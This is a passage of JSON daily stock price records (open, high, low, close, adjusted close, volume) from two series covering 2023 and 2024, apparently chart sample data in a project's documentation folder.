    "high": 150.380005,
    "low": 147.820007,
    "close": 150.070007,
    "adjClose": 149.897964,
    "volume": 19229300
  },
  {
    "date": "2024-03-26",
    "open": 150.220001,
    "high": 152.259995,
    "low": 149.979996,
    "close": 150.669998,
    "adjClose": 150.497269,
    "volume": 22149100
  },
  {
    "date": "2024-03-27",
    "open": 151.179993,
    "high": 151.639999,
    "low": 148.899994,
    "close": 150.869995,
    "adjClose": 150.697037,
    "volume": 22879200
  },
  {
    "date": "2024-03-28",
    "open": 150.850006,
    "high": 151.429993,
    "low": 150.169998,
    "close": 150.929993,
    "adjClose": 150.756973,
    "volume": 24485400
  },
  {
    "date": "2024-04-01",
    "open": 150.690002,
    "high": 155.740005,
    "low": 150.610001,
    "close": 155.490005,
    "adjClose": 155.311752,
    "volume": 31730800
  },
  {
    "date": "2024-04-02",
    "open": 153.5,
    "high": 154.699997,
    "low": 152.149994,
    "close": 154.559998,
    "adjClose": 154.382813,
    "volume": 24586000
  },
  {
    "date": "2024-04-03",
    "open": 153.600006,
    "high": 155.080002,
    "low": 152.729996,
    "close": 154.919998,
    "adjClose": 154.742401,
    "volume": 24705000
  },
  {
    "date": "2024-04-04",
    "open": 153.5,
    "high": 154.770004,
    "low": 150.449997,
    "close": 150.529999,
    "adjClose": 150.357437,
    "volume": 34724700
  },
  {
    "date": "2024-04-05",
    "open": 150.029999,
    "high": 153.419998,
    "low": 149.600006,
    "close": 152.5,
    "adjClose": 152.32518,
    "volume": 23449300
  },
  {
    "date": "2024-04-08",
    "open": 152.779999,
    "high": 155.270004,
    "low": 152.610001,
    "close": 154.850006,
    "adjClose": 154.672485,
    "volume": 20702000
  },
  {
    "date": "2024-04-09",
    "open": 156.089996,
    "high": 158.559998,
    "low": 155.190002,
    "close": 156.600006,
    "adjClose": 156.420486,
    "volume": 31113000
  },
  {
    "date": "2024-04-10",
    "open": 156.210007,
    "high": 156.610001,
    "low": 154.679993,
    "close": 156.139999,
    "adjClose": 155.960999,
    "volume": 22838600
  },
  {
    "date": "2024-04-11",
    "open": 156.910004,
    "high": 159.679993,
    "low": 156.460007,
    "close": 159.410004,
    "adjClose": 159.227264,
    "volume": 27166400
  },
  {
    "date": "2024-04-12",
    "open": 157.960007,
    "high": 160.220001,
    "low": 157.139999,
    "close": 157.729996,
    "adjClose": 157.549179,
    "volume": 25329200
  },
  {
    "date": "2024-04-15",
    "open": 158.860001,
    "high": 159.240005,
    "low": 154.589996,
    "close": 154.860001,
    "adjClose": 154.68248,
    "volume": 27136500
  },
  {
    "date": "2024-04-16",
    "open": 154.190002,
    "high": 155.649994,
    "low": 153.429993,
    "close": 154.399994,
    "adjClose": 154.222992,
    "volume": 20779500
  },
  {
    "date": "2024-04-17",
    "open": 155.619995,
    "high": 157.080002,
    "low": 154.580002,
    "close": 155.470001,
    "adjClose": 155.291779,
    "volume": 21763100
  },
  {
    "date": "2024-04-18",
    "open": 155.339996,
    "high": 156.940002,
    "low": 154.619995,
    "close": 156.009995,
    "adjClose": 155.831146,
    "volume": 19883000
  },
  {
    "date": "2024-04-19",
    "open": 156.199997,
    "high": 156.360001,
    "low": 152.300003,
    "close": 154.089996,
    "adjClose": 153.913345,
    "volume": 32239100
  },
  {
    "date": "2024-04-22",
    "open": 154.309998,
    "high": 157.639999,
    "low": 154.059998,
    "close": 156.279999,
    "adjClose": 156.100845,
    "volume": 26446200
  },
  {
    "date": "2024-04-23",
    "open": 156.960007,
    "high": 158.970001,
    "low": 156.279999,
    "close": 158.259995,
    "adjClose": 158.078568,
    "volume": 21151600
  },
  {
    "date": "2024-04-24",
    "open": 157.490005,
    "high": 159.570007,
    "low": 157.169998,
    "close": 159.130005,
    "adjClose": 158.947586,
    "volume": 22779100
  },
  {
    "date": "2024-04-25",
    "open": 151.330002,
    "high": 156.490005,
    "low": 150.869995,
    "close": 156.0,
    "adjClose": 155.821167,
    "volume": 57109700
  },
  {
    "date": "2024-04-26",
    "open": 174.369995,
    "high": 174.710007,
    "low": 169.649994,
    "close": 171.949997,
    "adjClose": 171.752884,
    "volume": 64665300
  },
  {
    "date": "2024-04-29",
    "open": 169.059998,
    "high": 169.550003,
    "low": 165.210007,
    "close": 166.149994,
    "adjClose": 165.959518,
    "volume": 45610000
  },
  {
    "date": "2024-04-30",
    "open": 165.610001,
    "high": 168.100006,
    "low": 162.600006,
    "close": 162.779999,
    "adjClose": 162.593399,
    "volume": 33562900
  },
  {
    "date": "2024-05-01",
    "open": 164.300003,
    "high": 167.119995,
    "low": 163.089996,
    "close": 163.860001,
    "adjClose": 163.67215,
    "volume": 33493200
  },
  {
    "date": "2024-05-02",
    "open": 164.789993,
    "high": 166.729996,
    "low": 163.889999,
    "close": 166.619995,
    "adjClose": 166.428986,
    "volume": 24294500
  },
  {
    "date": "2024-05-03",
    "open": 167.559998,
    "high": 167.960007,
    "low": 163.050003,
    "close": 167.240005,
    "adjClose": 167.048279,
    "volume": 34662400
  },
  {
    "date": "2024-05-06",
    "open": 167.460007,
    "high": 168.139999,
    "low": 166.029999,
    "close": 168.100006,
    "adjClose": 167.907303,
    "volume": 21871300
  },
  {
    "date": "2024-05-07",
    "open": 168.5,
    "high": 171.759995,
    "low": 168.389999,
    "close": 171.25,
    "adjClose": 171.05368,
    "volume": 28039700
  },
  {
    "date": "2024-05-08",
    "open": 169.0,
    "high": 170.149994,
    "low": 168.740005,
    "close": 169.380005,
    "adjClose": 169.185837,
    "volume": 19569100
  },
  {
    "date": "2024-05-09",
    "open": 169.389999,
    "high": 170.690002,
    "low": 168.179993,
    "close": 169.960007,
    "adjClose": 169.765167,
    "volume": 15346700
  },
  {
    "date": "2024-05-10",
    "open": 168.029999,
    "high": 169.850006,
    "low": 166.190002,
    "close": 168.649994,
    "adjClose": 168.456665,
    "volume": 29799900
  },
  {
    "date": "2024-05-13",
    "open": 164.259995,
    "high": 169.279999,
    "low": 164.0,
    "close": 169.139999,
    "adjClose": 168.946106,
    "volume": 31327600
  },
  {
    "date": "2024-05-14",
    "open": 169.770004,
    "high": 171.25,
    "low": 168.800003,
    "close": 170.339996,
    "adjClose": 170.14473,
    "volume": 25127100
  },
  {
    "date": "2024-05-15",
    "open": 170.630005,
    "high": 172.649994,
    "low": 170.509995,
    "close": 172.509995,
    "adjClose": 172.312241,
    "volume": 26948400
  },
  {
    "date": "2024-05-16",
    "open": 173.289993,
    "high": 175.119995,
    "low": 172.690002,
    "close": 174.179993,
    "adjClose": 173.980316,
    "volume": 27867900
  },
  {
    "date": "2024-05-17",
    "open": 174.179993,
    "high": 176.270004,
    "low": 173.690002,
    "close": 176.059998,
    "adjClose": 175.85817,
    "volume": 24479300
  },
  {
    "date": "2024-05-20",
    "open": 176.190002,
    "high": 178.770004,
    "low": 176.080002,
    "close": 176.919998,
    "adjClose": 176.717178,
    "volume": 22554400
  },
  {
    "date": "2024-05-21",
    "open": 176.899994,
    "high": 178.149994,
    "low": 175.809998,
    "close": 177.850006,
    "adjClose": 177.646118,
    "volume": 16989400
  },
  {
    "date": "2024-05-22",
    "open": 176.639999,
    "high": 177.149994,
    "low": 175.210007,
    "close": 176.380005,
    "adjClose": 176.177811,
    "volume": 17880000
  },
  {
    "date": "2024-05-23",
    "open": 177.070007,
    "high": 178.25,
    "low": 172.949997,
    "close": 173.550003,
    "adjClose": 173.351044,
    "volume": 21024900
  },
  {
    "date": "2024-05-24",
    "open": 174.979996,
    "high": 175.770004,
    "low": 173.649994,
    "close": 174.990005,
    "adjClose": 174.789398,
    "volume": 16572500
  },
  {
    "date": "2024-05-28",
    "open": 174.449997,
    "high": 177.270004,
    "low": 174.369995,
    "close": 176.399994,
    "adjClose": 176.197769,
    "volume": 20572200
  },
  {
    "date": "2024-05-29",
    "open": 175.429993,
    "high": 176.839996,
    "low": 174.720001,
    "close": 175.899994,
    "adjClose": 175.698349,
    "volume": 23388700
  },
  {
    "date": "2024-05-30",
    "open": 175.199997,
    "high": 175.220001,
    "low": 171.789993,
    "close": 172.110001,
    "adjClose": 171.912704,
    "volume": 22958700
  },
  {
    "date": "2024-05-31",
    "open": 171.860001,
    "high": 173.059998,
    "low": 169.440002,
    "close": 172.5,
    "adjClose": 172.302246,
    "volume": 37638900
  },
  {
    "date": "2024-06-03",
    "open": 172.539993,
    "high": 174.529999,
    "low": 171.160004,
    "close": 173.169998,
    "adjClose": 172.971481,
    "volume": 27459100
  },
  {
    "date": "2024-06-04",
    "open": 173.279999,
    "high": 173.850006,
    "low": 171.889999,
    "close": 173.789993,
    "adjClose": 173.590759,
    "volume": 26879600
  },
  {
    "date": "2024-06-05",
    "open": 175.199997,
    "high": 176.649994,
    "low": 173.929993,
    "close": 175.410004,
    "adjClose": 175.208923,
    "volume": 22068500
  },
  {
    "date": "2024-06-06",
    "open": 175.899994,
    "high": 177.149994,
    "low": 175.75,
    "close": 176.729996,
    "adjClose": 176.52739,
    "volume": 23251000
  },
  {
    "date": "2024-06-07",
    "open": 177.050003,
    "high": 177.869995,
    "low": 174.300003,
    "close": 174.460007,
    "adjClose": 174.26001,
    "volume": 19661400
  },
  {
    "date": "2024-06-10",
    "open": 174.970001,
    "high": 177.059998,
    "low": 172.759995,
    "close": 175.009995,
    "adjClose": 175.009995,
    "volume": 23779200
  },
  {
    "date": "2024-06-11",
    "open": 176.220001,
    "high": 176.839996,
    "low": 173.770004,
    "close": 176.619995,
    "adjClose": 176.619995,
    "volume": 21540600
  },
  {
    "date": "2024-06-12",
    "open": 178.25,
    "high": 180.410004,
    "low": 176.110001,
    "close": 177.789993,
    "adjClose": 177.789993,
    "volume": 27864700
  },
  {
    "date": "2024-06-13",
    "open": 176.110001,
    "high": 176.740005,
    "low": 174.880005,
    "close": 175.160004,
    "adjClose": 175.160004,
    "volume": 20913300
  },
  {
    "date": "2024-06-14",
    "open": 174.220001,
    "high": 177.059998,
    "low": 174.149994,
    "close": 176.789993,
    "adjClose": 176.789993,
    "volume": 18063600
  },
  {
    "date": "2024-06-17",
    "open": 175.460007,
    "high": 178.360001,
    "low": 174.809998,
    "close": 177.240005,
    "adjClose": 177.240005,
    "volume": 19618500
  },
  {
    "date": "2024-06-18",
    "open": 177.139999,
    "high": 177.389999,
    "low": 174.100006,
    "close": 175.089996,
    "adjClose": 175.089996,
    "volume": 21869900
  },
  {
    "date": "2024-06-20",
    "open": 175.369995,
    "high": 177.289993,
    "low": 174.990005,
    "close": 176.300003,
    "adjClose": 176.300003,
    "volume": 20160100
  },
  {
    "date": "2024-06-21",
    "open": 177.0,
    "high": 180.850006,
    "low": 176.610001,
    "close": 179.630005,
    "adjClose": 179.630005,
    "volume": 58582700
  },
  {
    "date": "2024-06-24",
    "open": 180.160004,
    "high": 180.889999,
    "low": 178.669998,
    "close": 179.220001,
    "adjClose": 179.220001,
    "volume": 18298000
  },
  {
    "date": "2024-06-25",
    "open": 179.619995,
    "high": 184.289993,
    "low": 179.419998,
    "close": 184.029999,
    "adjClose": 184.029999,
    "volume": 23235600
  },
  {
    "date": "2024-06-26",
    "open": 182.630005,
    "high": 184.509995,
    "low": 182.479996,
    "close": 183.880005,
    "adjClose": 183.880005,
    "volume": 19839000
  },
  {
    "date": "2024-06-27",
    "open": 184.179993,
    "high": 186.050003,
    "low": 184.020004,
    "close": 185.410004,
    "adjClose": 185.410004,
    "volume": 18848900
  },
  {
    "date": "2024-06-28",
    "open": 184.320007,
    "high": 185.130005,
    "low": 181.960007,
    "close": 182.149994,
    "adjClose": 182.149994,
    "volume": 29156600
  },
  {
    "date": "2024-07-01",
    "open": 183.029999,
    "high": 183.880005,
    "low": 181.300003,
    "close": 182.990005,
    "adjClose": 182.990005,
    "volume": 16006100
  },
  {
    "date": "2024-07-02",
    "open": 182.050003,
    "high": 185.570007,
    "low": 181.559998,
    "close": 185.240005,
    "adjClose": 185.240005,
    "volume": 17372500
  },
  {
    "date": "2024-07-03",
    "open": 184.850006,
    "high": 186.089996,
    "low": 184.0,
    "close": 185.820007,
    "adjClose": 185.820007,
    "volume": 10242100
  },
  {
    "date": "2024-07-05",
    "open": 185.860001,
    "high": 190.860001,
    "low": 185.800003,
    "close": 190.600006,
    "adjClose": 190.600006,
    "volume": 20967500
  },
  {
    "date": "2024-07-08",
    "open": 189.899994,
    "high": 190.169998,
    "low": 187.779999,
    "close": 189.029999,
    "adjClose": 189.029999,
    "volume": 21035900
  },
  {
    "date": "2024-07-09",
    "open": 190.309998,
    "high": 191.360001,
    "low": 188.720001,
    "close": 188.979996,
    "adjClose": 188.979996,
    "volume": 15121400
  },
  {
    "date": "2024-07-10",
    "open": 189.149994,
    "high": 191.75,
    "low": 189.029999,
    "close": 191.179993,
    "adjClose": 191.179993,
    "volume": 15952500
  },
  {
    "date": "2024-07-11",
    "open": 189.850006,
    "high": 190.860001,
    "low": 185.080002,
    "close": 185.570007,
    "adjClose": 185.570007,
    "volume": 25625800
  },
  {
    "date": "2024-07-12",
    "open": 185.080002,
    "high": 187.110001,
    "low": 184.490005,
    "close": 185.070007,
    "adjClose": 185.070007,
    "volume": 22898400
  },
  {
    "date": "2024-07-15",
    "open": 184.919998,
    "high": 188.240005,
    "low": 184.919998,
    "close": 186.529999,
    "adjClose": 186.529999,
    "volume": 16474000
  },
  {
    "date": "2024-07-16",
    "open": 187.360001,
    "high": 188.679993,
    "low": 183.369995,
    "close": 183.919998,
    "adjClose": 183.919998,
    "volume": 18290700
  },
  {
    "date": "2024-07-17",
    "open": 182.970001,
    "high": 183.550003,
    "low": 179.899994,
    "close": 181.020004,
    "adjClose": 181.020004,
    "volume": 20734100
  },
  {
    "date": "2024-07-18",
    "open": 181.929993,
    "high": 182.5,
    "low": 176.470001,
    "close": 177.690002,
    "adjClose": 177.690002,
    "volume": 25315700
  },
  {
    "date": "2024-07-19",
    "open": 178.880005,
    "high": 180.289993,
    "low": 177.130005,
    "close": 177.660004,
    "adjClose": 177.660004,
    "volume": 18881900
  },
  {
    "date": "2024-07-22",
    "open": 180.589996,
    "high": 182.699997,
    "low": 180.229996,
    "close": 181.669998,
    "adjClose": 181.669998,
    "volume": 24060800
  }
]

---

### Data Charts Dataset META.Json (`docs/data/charts/dataset/META.json`)

[
  {
    "date": "2023-07-24",
    "open": 295.779999,
    "high": 297.519989,
    "low": 288.299988,
    "close": 291.609985,
    "adjClose": 291.011963,
    "volume": 24915700
  },
  {
    "date": "2023-07-25",
    "open": 295.190002,
    "high": 298.299988,
    "low": 291.859985,
    "close": 294.470001,
    "adjClose": 293.866119,
    "volume": 19585600
  },
  {
    "date": "2023-07-26",
    "open": 301.190002,
    "high": 301.769989,
    "low": 291.899994,
    "close": 298.570007,
    "adjClose": 297.957733,
    "volume": 47256900
  },
  {
    "date": "2023-07-27",
    "open": 325.119995,
    "high": 325.350006,
    "low": 309.839996,
    "close": 311.709991,
    "adjClose": 311.07077,
    "volume": 64229200
  },
  {
    "date": "2023-07-28",
    "open": 316.880005,
    "high": 326.200012,
    "low": 314.25,
    "close": 325.480011,
    "adjClose": 324.812531,
    "volume": 39220300
  },
  {
    "date": "2023-07-31",
    "open": 323.690002,
    "high": 325.660004,
    "low": 317.589996,
    "close": 318.600006,
    "adjClose": 317.946655,
    "volume": 25799600
  },
  {
    "date": "2023-08-01",
    "open": 317.540009,
    "high": 324.140015,
    "low": 314.660004,
    "close": 322.709991,
    "adjClose": 322.048187,
    "volume": 22817900
  },
  {
    "date": "2023-08-02",
    "open": 318.0,
    "high": 318.390015,
    "low": 310.649994,
    "close": 314.309998,
    "adjClose": 313.665436,
    "volume": 20461100
  },
  {
    "date": "2023-08-03",
    "open": 309.929993,
    "high": 315.950012,
    "low": 309.929993,
    "close": 313.190002,
    "adjClose": 312.54776,
    "volume": 15180200
  },
  {
    "date": "2023-08-04",
    "open": 314.959991,
    "high": 318.410004,
    "low": 310.200012,
    "close": 310.730011,
    "adjClose": 310.092804,
    "volume": 17600200
  },
  {
    "date": "2023-08-07",
    "open": 313.230011,
    "high": 317.070007,
    "low": 310.459991,
    "close": 316.559998,
    "adjClose": 315.910828,
    "volume": 16236500
  },
  {
    "date": "2023-08-08",
    "open": 314.399994,
    "high": 317.890015,
    "low": 310.109985,
    "close": 312.640015,
    "adjClose": 311.998901,
    "volume": 15183500
  },
  {
    "date": "2023-08-09",
    "open": 312.880005,
    "high": 313.630005,
    "low": 302.850006,
    "close": 305.209991,
    "adjClose": 304.584076,
    "volume": 19955800
  },
  {
    "date": "2023-08-10",
    "open": 307.940002,
    "high": 312.339996,
    "low": 303.869995,
    "close": 305.73999,
    "adjClose": 305.113007,
    "volume": 14358900
  },
  {
    "date": "2023-08-11",
    "open": 302.570007,
    "high": 304.720001,
    "low": 300.359985,
    "close": 301.640015,
    "adjClose": 301.021423,
    "volume": 13967800
  },
  {
    "date": "2023-08-14",
    "open": 300.980011,
    "high": 306.209991,
    "low": 298.25,
    "close": 306.190002,
    "adjClose": 305.562073,
    "volume": 15641900
  },
  {
    "date": "2023-08-15",
    "open": 306.140015,
    "high": 307.230011,
    "low": 300.029999,
    "close": 301.950012,
    "adjClose": 301.330811,
    "volume": 11623600
  },
  {
    "date": "2023-08-16",
    "open": 300.200012,
    "high": 301.079987,
    "low": 294.279999,
    "close": 294.290009,
    "adjClose": 293.686493,
    "volume": 18547700
  },
  {
    "date": "2023-08-17",
    "open": 293.049988,
    "high": 296.049988,
    "low": 284.950012,
    "close": 285.089996,
    "adjClose": 284.505371,
    "volume": 23950100
  },
  {
    "date": "2023-08-18",
    "open": 279.029999,
    "high": 285.690002,
    "low": 274.380005,
    "close": 283.25,
    "adjClose": 282.669128,
    "volume": 34061200
  },
  {
    "date": "2023-08-21",
    "open": 283.450012,
    "high": 290.5,
    "low": 281.850006,
    "close": 289.899994,
    "adjClose": 289.305511,
    "volume": 20181500
  },
  {
    "date": "2023-08-22",
    "open": 292.549988,
    "high": 292.899994,
    "low": 286.75,
    "close": 287.600006,
    "adjClose": 287.010193,
    "volume": 12999900
  },
  {
    "date": "2023-08-23",
    "open": 288.5,
    "high": 297.399994,
    "low": 287.670013,
    "close": 294.23999,
    "adjClose": 293.636597,
    "volume": 18287000
  },
  {
    "date": "2023-08-24",
    "open": 298.5,
    "high": 299.459991,
    "low": 286.640015,
    "close": 286.75,
    "adjClose": 286.161957,
    "volume": 18360900
  },
  {
    "date": "2023-08-25",
    "open": 286.130005,
    "high": 288.390015,
    "low": 276.029999,
    "close": 285.5,
    "adjClose": 284.91452,
    "volume": 23701400
  },
  {
    "date": "2023-08-28",
    "open": 288.0,
    "high": 291.450012,
    "low": 285.799988,
    "close": 290.26001,
    "adjClose": 289.664764,
    "volume": 14239300
  },
  {
    "date": "2023-08-29",
    "open": 288.579987,
    "high": 299.149994,
    "low": 288.179993,
    "close": 297.98999,
    "adjClose": 297.378906,
    "volume": 20844500
  },
  {
    "date": "2023-08-30",
    "open": 297.170013,
    "high": 298.290009,
    "low": 293.429993,
    "close": 295.100006,
    "adjClose": 294.494843,
    "volume": 17717000
  },
  {
    "date": "2023-08-31",
    "open": 295.799988,
    "high": 301.100006,
    "low": 295.660004,
    "close": 295.890015,
    "adjClose": 295.283234,
    "volume": 17229900
  },
  {
    "date": "2023-09-01",
    "open": 299.369995,
    "high": 301.73999,
    "low": 294.470001,
    "close": 296.380005,
    "adjClose": 295.772217,
    "volume": 12819800
  },
  {
    "date": "2023-09-05",
    "open": 297.019989,
    "high": 301.390015,
    "low": 295.51001,
    "close": 300.149994,
    "adjClose": 299.534485,
    "volume": 14956000
  },
  {
    "date": "2023-09-06",
    "open": 301.709991,
    "high": 303.299988,
    "low": 295.660004,
    "close": 299.170013,
    "adjClose": 298.556488,
    "volume": 15418100
  },
  {
    "date": "2023-09-07",
    "open": 298.0,
    "high": 307.049988,
    "low": 292.220001,
    "close": 298.670013,
    "adjClose": 298.057526,
    "volume": 33748700
  },
  {
    "date": "2023-09-08",
    "open": 299.220001,
    "high": 305.25,
    "low": 296.779999,
    "close": 297.890015,
    "adjClose": 297.279114,
    "volume": 17548000
  },
  {
    "date": "2023-09-11",
    "open": 301.410004,
    "high": 309.040009,
    "low": 301.279999,
    "close": 307.559998,
    "adjClose": 306.929291,
    "volume": 19489300
  },
  {
    "date": "2023-09-12",
    "open": 306.329987,
    "high": 308.660004,
    "low": 300.230011,
    "close": 301.660004,
    "adjClose": 301.041382,
    "volume": 13480400
  },
  {
    "date": "2023-09-13",
    "open": 302.359985,
    "high": 307.179993,
    "low": 301.320007,
    "close": 305.059998,
    "adjClose": 304.434418,
    "volume": 13210900
  },
  {
    "date": "2023-09-14",
    "open": 306.73999,
    "high": 312.869995,
    "low": 305.029999,
    "close": 311.720001,
    "adjClose": 311.08075,
    "volume": 19343100
  },
  {
    "date": "2023-09-15",
    "open": 311.609985,
    "high": 312.0,
    "low": 298.75,
    "close": 300.309998,
    "adjClose": 299.694122,
    "volume": 28106400
  },
  {
    "date": "2023-09-18",
    "open": 298.190002,
    "high": 303.600006,
    "low": 297.799988,
    "close": 302.549988,
    "adjClose": 301.929565,
    "volume": 14234200
  },
  {
    "date": "2023-09-19",
    "open": 302.480011,
    "high": 306.170013,
    "low": 299.809998,
    "close": 305.070007,
    "adjClose": 304.444397,
    "volume": 15924400
  },
  {
    "date": "2023-09-20",
    "open": 305.049988,
    "high": 308.059998,
    "low": 299.429993,
    "close": 299.670013,
    "adjClose": 299.055481,
    "volume": 19379500
  },
  {
    "date": "2023-09-21",
    "open": 295.700012,
    "high": 300.26001,
    "low": 293.269989,
    "close": 295.730011,
    "adjClose": 295.123535,
    "volume": 21300500
  },
  {
    "date": "2023-09-22",
    "open": 299.299988,
    "high": 305.380005,
    "low": 298.269989,
    "close": 299.079987,
    "adjClose": 298.466644,
    "volume": 25369600
  },
  {
    "date": "2023-09-25",
    "open": 295.640015,
    "high": 300.950012,
    "low": 293.700012,
    "close": 300.829987,
    "adjClose": 300.213043,
    "volume": 18987000
  },
  {
    "date": "2023-09-26",
    "open": 297.660004,
    "high": 300.299988,
    "low": 296.01001,
    "close": 298.959991,
    "adjClose": 298.346893,
    "volume": 19417200
  },
  {
    "date": "2023-09-27",
    "open": 300.450012,
    "high": 301.299988,
    "low": 286.790009,
    "close": 297.73999,
    "adjClose": 297.129425,
    "volume": 36429800
  },
  {
    "date": "2023-09-28",
    "open": 298.940002,
    "high": 306.329987,
    "low": 296.700012,
    "close": 303.959991,
    "adjClose": 303.33667,
    "volume": 22167100
  },
  {
    "date": "2023-09-29",
    "open": 307.380005,
    "high": 310.640015,
    "low": 299.359985,
    "close": 300.209991,
    "adjClose": 299.59436,
    "volume": 25356600
  },
  {
    "date": "2023-10-02",
    "open": 302.73999,
    "high": 307.179993,
    "low": 301.630005,
    "close": 306.820007,
    "adjClose": 306.190826,
    "volume": 16265600
  },
  {
    "date": "2023-10-03",
    "open": 304.26001,
    "high": 306.769989,
    "low": 299.640015,
    "close": 300.940002,
    "adjClose": 300.322876,
    "volume": 17362300
  },
  {
    "date": "2023-10-04",
    "open": 298.730011,
    "high": 306.899994,
    "low": 298.5,
    "close": 305.579987,
    "adjClose": 304.953339,
    "volume": 16880500
  },
  {
    "date": "2023-10-05",
    "open": 304.630005,
    "high": 306.209991,
    "low": 299.5,
    "close": 304.790009,
    "adjClose": 304.164978,
    "volume": 19130000
  },
  {
    "date": "2023-10-06",
    "open": 301.440002,
    "high": 316.309998,
    "low": 300.910004,
    "close": 315.429993,
    "adjClose": 314.783142,
    "volume": 21784000
  },
  {
    "date": "2023-10-09",
    "open": 312.5,
    "high": 320.329987,
    "low": 311.820007,
    "close": 318.359985,
    "adjClose": 317.707123,
    "volume": 22503700
  },
  {
    "date": "2023-10-10",
    "open": 319.119995,
    "high": 324.660004,
    "low": 318.160004,
    "close": 321.839996,
    "adjClose": 321.179993,
    "volume": 19038000
  },
  {
    "date": "2023-10-11",
    "open": 323.01001,
    "high": 328.839996,
    "low": 322.950012,
    "close": 327.820007,
    "adjClose": 327.147736,
    "volume": 22036300
  },
  {
    "date": "2023-10-12",
    "open": 328.0,
    "high": 330.540009,
    "low": 322.690002,
    "close": 324.160004,
    "adjClose": 323.495239,
    "volume": 20530500
  },
  {
    "date": "2023-10-13",
    "open": 323.529999,
    "high": 325.049988,
    "low": 312.369995,
    "close": 314.690002,
    "adjClose": 314.044678,
    "volume": 21341000
  },
  {
    "date": "2023-10-16",
    "open": 318.640015,
    "high": 321.820007,
    "low": 315.519989,
    "close": 321.149994,
    "adjClose": 320.491394,
    "volume": 16536100
  },
  {
    "date": "2023-10-17",
    "open": 318.179993,
    "high": 324.399994,
    "low": 317.299988,
    "close": 324.0,
    "adjClose": 323.335541,
    "volume": 16387800
  },
  {
    "date": "2023-10-18",
    "open": 321.390015,
    "high": 325.940002,
    "low": 315.559998,
    "close": 316.970001,
    "adjClose": 316.319977,
    "volume": 16851000
  },
  {
    "date": "2023-10-19",
    "open": 319.880005,
    "high": 321.890015,
    "low": 311.75,
    "close": 312.809998,
    "adjClose": 312.168518,
    "volume": 18709200
  },
  {
    "date": "2023-10-20",
    "open": 314.140015,
    "high": 315.299988,
    "low": 306.470001,
    "close": 308.649994,
    "adjClose": 308.017029,
    "volume": 22287400
  },
  {
    "date": "2023-10-23",
    "open": 309.5,
    "high": 317.359985,
    "low": 307.26001,
    "close": 314.01001,
    "adjClose": 313.366058,
    "volume": 17796800
  },
  {
    "date": "2023-10-24",
    "open": 316.779999,
    "high": 318.350006,
    "low": 310.630005,
    "close": 312.549988,
    "adjClose": 311.909058,
    "volume": 19525500
  },
  {
    "date": "2023-10-25",
    "open": 310.0,
    "high": 310.880005,
    "low": 298.839996,
    "close": 299.529999,
    "adjClose": 298.915771,
    "volume": 42192500
  },
  {
    "date": "2023-10-26",
    "open": 295.0,
    "high": 295.0,
    "low": 279.399994,
    "close": 288.350006,
    "adjClose": 287.758667,
    "volume": 66684100
  },
  {
    "date": "2023-10-27",
    "open": 294.480011,
    "high": 299.309998,
    "low": 292.970001,
    "close": 296.730011,
    "adjClose": 296.121521,
    "volume": 29596300
  },
  {
    "date": "2023-10-30",
    "open": 299.089996,
    "high": 309.399994,
    "low": 299.049988,
    "close": 302.660004,
    "adjClose": 302.039337,
    "volume": 28435100
  },
  {
    "date": "2023-10-31",
    "open": 303.309998,
    "high": 303.679993,
    "low": 296.859985,
    "close": 301.269989,
    "adjClose": 300.652161,
    "volume": 19434200
  },
  {
    "date": "2023-11-01",
    "open": 301.850006,
    "high": 312.73999,
    "low": 301.850006,
    "close": 311.850006,
    "adjClose": 311.21048,
    "volume": 20434600
  },
  {
    "date": "2023-11-02",
    "open": 317.299988,
    "high": 318.820007,
    "low": 308.329987,
    "close": 310.869995,
    "adjClose": 310.232483,
    "volume": 21631800
  },
  {
    "date": "2023-11-03",
    "open": 312.549988,
    "high": 315.549988,
    "low": 311.019989,
    "close": 314.600006,
    "adjClose": 313.954865,
    "volume": 16754100
  },
  {
    "date": "2023-11-06",
    "open": 315.980011,
    "high": 318.329987,
    "low": 314.450012,
    "close": 315.799988,
    "adjClose": 315.152374,
    "volume": 12887700
  },
  {
    "date": "2023-11-07",
    "open": 317.059998,
    "high": 321.0,
    "low": 315.119995,
    "close": 318.820007,
    "adjClose": 318.166199,
    "volume": 14055600
  },
  {
    "date": "2023-11-08",
    "open": 318.140015,
    "high": 321.329987,
    "low": 314.880005,
    "close": 319.779999,
    "adjClose": 319.124237,
    "volume": 13609700
  },
  {
    "date": "2023-11-09",
    "open": 319.420013,
    "high": 324.179993,
    "low": 318.799988,
    "close": 320.549988,
    "adjClose": 319.892609,
    "volume": 16103100
  },
  {
    "date": "2023-11-10",
    "open": 319.940002,
    "high": 329.100006,
    "low": 319.459991,
    "close": 328.769989,
    "adjClose": 328.095764,
    "volume": 19096200
  },
  {
    "date": "2023-11-13",
    "open": 326.200012,
    "high": 332.329987,
    "low": 325.700012,
    "close": 329.190002,
    "adjClose": 328.514923,
    "volume": 16908900
  },
  {
    "date": "2023-11-14",
    "open": 334.540009,
    "high": 338.100006,
    "low": 333.329987,
    "close": 336.309998,
    "adjClose": 335.6203,
    "volume": 17179400
  },
  {
    "date": "2023-11-15",
    "open": 337.929993,
    "high": 338.399994,
    "low": 330.019989,
    "close": 332.709991,
    "adjClose": 332.027679,
    "volume": 14531200
  },
  {
    "date": "2023-11-16",
    "open": 329.369995,
    "high": 334.579987,
    "low": 326.380005,
    "close": 334.190002,
    "adjClose": 333.504669,
    "volume": 18932600
  },
  {
    "date": "2023-11-17",
    "open": 330.26001,
    "high": 335.5,
    "low": 329.350006,
    "close": 335.040009,
    "adjClose": 334.352936,
    "volume": 14494400
  },
  {
    "date": "2023-11-20",
    "open": 334.890015,
    "high": 341.869995,
    "low": 334.190002,
    "close": 339.970001,
    "adjClose": 339.272797,
    "volume": 16960500
  },
  {
    "date": "2023-11-21",
    "open": 338.329987,
    "high": 339.899994,
    "low": 335.899994,
    "close": 336.980011,
    "adjClose": 336.28894,
    "volume": 12027900
  },
  {
    "date": "2023-11-22",
    "open": 339.209991,
    "high": 342.920013,
    "low": 338.579987,
    "close": 341.48999,
    "adjClose": 340.789703,
    "volume": 10702700
  },
  {
    "date": "2023-11-24",
    "open": 340.130005,
    "high": 341.859985,
    "low": 336.769989,
    "close": 338.230011,
    "adjClose": 337.536407,
    "volume": 5467500
  },
  {
    "date": "2023-11-27",
    "open": 336.179993,
    "high": 339.899994,
    "low": 334.200012,
    "close": 334.700012,
    "adjClose": 334.013641,
    "volume": 15684500
  },
  {
    "date": "2023-11-28",
    "open": 333.399994,
    "high": 339.380005,
    "low": 333.399994,
    "close": 338.98999,
    "adjClose": 338.2948,
    "volume": 12637200
  },
  {
    "date": "2023-11-29",
    "open": 339.690002,
    "high": 339.899994,
    "low": 330.779999,
    "close": 332.200012,
